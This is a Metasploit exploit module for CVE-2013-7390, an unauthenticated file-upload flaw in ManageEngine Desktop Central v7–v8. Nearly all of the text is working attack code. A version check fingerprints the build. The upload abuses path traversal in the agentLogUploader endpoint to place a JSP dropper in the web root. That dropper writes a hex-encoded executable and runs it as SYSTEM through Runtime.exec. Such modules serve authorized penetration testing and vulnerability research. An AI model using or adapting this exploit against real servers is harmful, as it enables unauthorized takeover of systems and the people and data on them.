ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload',
      'Description'    => %q{
        This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to
        v8 build 80293. A malicious user can upload a JSP file into the web root without
        authentication, leading to arbitrary code execution as SYSTEM.
      },
      'Author'         =>
        [
          'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2013-7390'],
          ['OSVDB', '100008'],
          ['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'],
          ['URL', 'https://seclists.org/fulldisclosure/2013/Nov/130'],
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Targets'        =>
        [
          [ 'Desktop Central v7 - v8 build 80292 / Windows', {} ]
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2013-11-11'
    ))

    register_options([Opt::RPORT(8020)])
  end


  def upload_file(filename, contents)
    res = send_request_cgi({
      'uri'       => normalize_uri('agentLogUploader'),
      'method'    => 'POST',
      'data'      => contents,
      'ctype'     => 'text/html',
      'encode_params' => false,
      'vars_get'  => {
        'computerName'  => 'DesktopCentral',
        'domainName'    => 'webapps',
        'customerId'    => '..',
        'filename'      => filename
      }
    })

    if res && res.code == 200 && res.body.to_s.empty?
      return true
    else
      return false
    end
  end

  # Test for Desktop Central
  def check
    res = send_request_cgi({
      'uri' => normalize_uri("configurations.do"),
      'method' => 'GET'
    })

    if res && res.code == 200
      build = nil

      if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
          res.body.to_s =~ /ManageEngine Desktop Central MSP 7/     # DC v7

        print_status("Detected Desktop Central v7")
      elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
          res.body.to_s =~ /ManageEngine Desktop Central MSP 8/

        if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/  # DC v8 (later versions)
          build = $1
          print_status("Detected Desktop Central v8 #{build}")
        else                                                     # DC v8 (earlier versions)
          print_status("Detected Desktop Central v8")
        end
      elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
        build = $1
      end

      if build.nil?
        return Exploit::CheckCode::Unknown
      elsif Rex::Version.new(build) < Rex::Version.new("80293")
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    end

    Exploit::CheckCode::Unknown
  end


  def exploit
    print_status("Uploading JSP to execute the payload")

    exe = payload.encoded_exe
    exe_filename = rand_text_alpha_lower(8) + ".exe"

    dropper = jsp_drop_and_execute(exe, exe_filename)
    dropper_filename = rand_text_alpha_lower(8) + ".jsp"

    if upload_file(dropper_filename, dropper)
      register_files_for_cleanup(exe_filename)
      register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")
    else
      fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
    end

    print_status("Executing payload")
    send_request_cgi(
    {
      'uri'    => normalize_uri(dropper_filename),
      'method' => 'GET'
    })
  end


  def jsp_drop_bin(bin_data, output_file)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

    jspraw << %Q|int numbytes = data.length();\n|

    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|  comb <<= 4;\n|
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|

    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|

    jspraw
  end


  def jsp_execute_command(command)
    jspraw =  %Q|\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|

    jspraw
  end


  def jsp_drop_and_execute(bin_data, output_file)
    jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
  end
end